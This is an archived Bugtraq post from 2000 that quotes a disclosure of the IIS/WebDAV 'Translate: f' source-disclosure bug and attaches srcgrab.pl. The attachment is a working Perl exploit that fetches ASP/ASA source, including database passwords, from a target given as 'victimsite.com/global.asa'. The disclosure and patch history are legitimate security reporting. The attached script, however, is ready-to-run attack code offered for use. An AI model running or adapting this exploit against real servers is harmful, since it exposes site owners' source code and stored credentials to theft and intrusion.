[16285] in bugtraq
Re: Translate:f summary,
daemon@ATHENA.MIT.EDU (SMILER)
Fri Aug 18 02:03:38 2000
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0075_01C0085E.78F9F8D0"
Message-Id: <007c01c00856$2bed8550$2d01a8c0@contentlab.net>
Date: Thu, 17 Aug 2000 15:19:01 +0100
Reply-To: SMILER <smiler@VXD.ORG>
From: SMILER <smiler@VXD.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format.
------=_NextPart_000_0075_01C0085E.78F9F8D0
Content-Type: text/plain;
charset="iso-8859-2"
Content-Transfer-Encoding: 8bit
Find in attach simple perl script that exploits bellow described problem.
Keep Smiling.
smiler@vxd.org
----- Original Message -----
From: "Daniel Dohekal" <ddoc@MIA.CZ>
To: <BUGTRAQ@SECURITYFOCUS.COM>
Sent: Tuesday, August 15, 2000 7:39 PM
Subject: Translate:f summary, history and thoughts
> Because Microsoft went the way of HIDING the actual mechanism of
Translate:f
> from all of us (original KB article is gone and new Security Bulletin is
> playing nasty game of downplaying the problem), i have decided to write
> follow up with sufficient information.
>
> HOW IT WORKS
> -------------------------
>
> WebDAV implemented in Windows 2000 and Office 2000 (including FrontPage
2000
> and FrontPage 2000 Server extensions) is the source of Translate:f
problem.
>
> When someone makes request for ASP/ASA (or any other scriptable page) and
> adds "Translate: f" into headers of HTTP GET request (headers are _not_
part
> of URL, they are part of HTTP request), there is a serious security bug in
> Windows 2000 (unpatched by SP1) that in return gives complete ASP/ASA code
> instead of processed file (one has to add trailing slash "/" to end of
> requested url to have this really working).
>
> "Translate: f" is legitimate header for WebDAV, it is used as it should
be -
> adding this to HTTP GET is sign for WebDAV component to really return
SOURCE
> code of file and bypass processing. It is used in FrontPage2000 and any
> WebDAV compatible client to get file for editing. It has to be accompanied
> by some other information which should not let anynone access sources.
> Unfortunately, there is some mistake in coding, and simple adding of
"only"
> "Translate:f" and placing "/" at end of request to HTTP GET will lead in
> security bug (which now plagues every second web tested in URLcheck test
at
> security.namodro.cz).
>
> It is WINDOWS 2000 bug, but because of FrontPage Server Extensions 2000
> installed even on IIS 4.0 sites, it is also IIS 4.0 bug. Also worth of
note
> is that MANY IIS 4.0 sites will exhibit "Translate: f" bug when web files
> are stored on SHARED (network) directory - this has been reported to
> secure@microsoft.com the same time i started bombing them with information
> that there is BIG problem with "Translate: f" - and result of case at
> secure@microsoft.com :
>
> YES, IIS 4.0 is vulnerable, if files are located on shared drive - in that
> case, please apply fix for "Virtualized UNC Share" vulnerability (please
see
> MS00-019 for fixes). So even IIS 4.0 is _not_ safe from this problem.
>
> THE HISTORY
> ---------------------
>
> "Translate: f" bug was first made public around 5th of June 2000, at that
> time MS KB article Q256888 was released and was fully describing the
> mechanism. At 6th of June, there was a POSTFIX released as standalone EXE
> fixing the problem.
>
> At that point someone at Microsoft made big mistake, instead of releasing
> Security Bulletin and instead of notifying PREMIER SUPPORT customers, they
> just left this only with one Q256888 article. And it appears that most
> IIS4/IIS5 admins are just NOT checking Knowledge Base (we do, and Svet
> Namodro has released its own priority warning and we have patched our
> servers immediately).
>
> Then Service Pack 1 for Windows 2000 was released - the bug IS fixed by
> applying SP1 - but it is obvious, that nobody is in big hurry to apply
SP1.
> Result is - many well know web sites are having security problem and
showing
> business logic including passwords to databases.
>
> After sending many, many, mails to Microsoft (including
> secure@microsoft.com, Mr. Ballmer office, passing letter through support
at
> Czech Microsoft), there is result - it took TWO weeks to have new Security
> Bulletin out. And i have to say, that i am very disappointed. Microsoft is
> now HIDING the "Translate:f" nature from all of us (KB Q256888 was pulled
> from Knowledge Base) and Security Bulletin is downplaying the level of
> problem we are dealing with.
>
> LINKS
> ---------
>
> http://www.microsoft.com/technet/security/bulletin/ms00-058.asp
> Security bulletin talking about "Translate:f" but hiding this fact from
us,
> inside you will find POSTFIX URL which is
> http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23769
>
>
http://support.microsoft.com/support/kb/articles/q256/8/88.ASP?LN=EN-US&SD=g
> n&FR=0
> Q256888 (now inaccessible) where original version was clearly talking
about
> "Translate:f" (curious how it will look when it is "rewritten").
>
>
http://download.microsoft.com/download/win2000srv/Patch/Q262259/NT5/EN-US/Q2
> 62259_W2K_SP1_X86_EN.EXE
> original US ENGLISH hotfix from 6th of June
>
> http://support.microsoft.com/support/kb/articles/q262/2/59.ASP
> another KB article showing link to Q256888 as :
> "Internet Information Service Returns Source of Active Server Pages File
> When Request Contains Translate:f and Ends with a Backslash" - maybe save
it
> for your kids to see how Microsoft changes history!
>
> http://security.namodro.cz/urlcheck.asp?lang=en
> English version of pages letting anyone to verify if his/her server is not
> vulnerable to Translate:f (and some other similar "url" related bugs).
>
> THOUGHTS
> -----------------
>
> Most important and dangerous aspect of bugs leading to source of ASP/ASA
is
> not in giving away your business logic. It is not worth of trying to
> download all ASP/ASA files and decode how something works. Most important
> aspect is in showing PASSWORDS to access SQL Server Databases and
LOCATIONS
> of Access databases. This is how sites are hacked and private sensitive
data
> are falling in hands of strangers.
>
> Even after YEARS of existence of ASP files, Microsoft did nothing to
remove
> one from most dangerous aspect - that ASP/ASA files are used for storing
> passwords and sensitive information.
>
> Daniel
>
------=_NextPart_000_0075_01C0085E.78F9F8D0
Content-Type: application/octet-stream;
name="srcgrab.pl"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="srcgrab.pl"
#!/usr/bin/perl
# Expl0it By smiler@vxd.org
# Tested with sucess against IIS 5.0. Maybe it works against IIS 4.0 =
using a shared drive but I haven=B4t tested it yet.
# Get the source code of any script from the server using this exploit.
# This code was written after Daniel Docekal brought this issue in =
BugTraq.
# Cheers 351 and FractalG :)
if (not $ARGV[0]) {
print qq~
Geee it=B4s running !! kewl :)))
Usage : srcgrab.pl <complete url of file to retrieve>
Example Usage : srcgrab.pl http://www.victimsite.com/global.asa
U can also save the retrieved file using : srcgrab.pl =
http://www.victim.com/default.asp > file_to_save
~; exit;}
$victimurl=3D$ARGV[0];
# Create a user agent object
use LWP::UserAgent;
$ua =3D new LWP::UserAgent;
# Create a request
my $req =3D new HTTP::Request GET =3D> $victimurl . '\\'; # Here =
is the backslash at the end of the url ;)
$req->content_type('application/x-www-form-urlencoded');
$req->content_type('text/html');
$req->header(Translate =3D> 'f'); # Here is the famous translate =
header :))
$req->content('match=3Dwww&errors=3D0');
# Pass request to the user agent and get a response back
my $res =3D $ua->request($req);
# Check the outcome of the response
if ($res->is_success) {
print $res->content;
} else {
print $res->error_as_HTML;
}
------=_NextPart_000_0075_01C0085E.78F9F8D0--
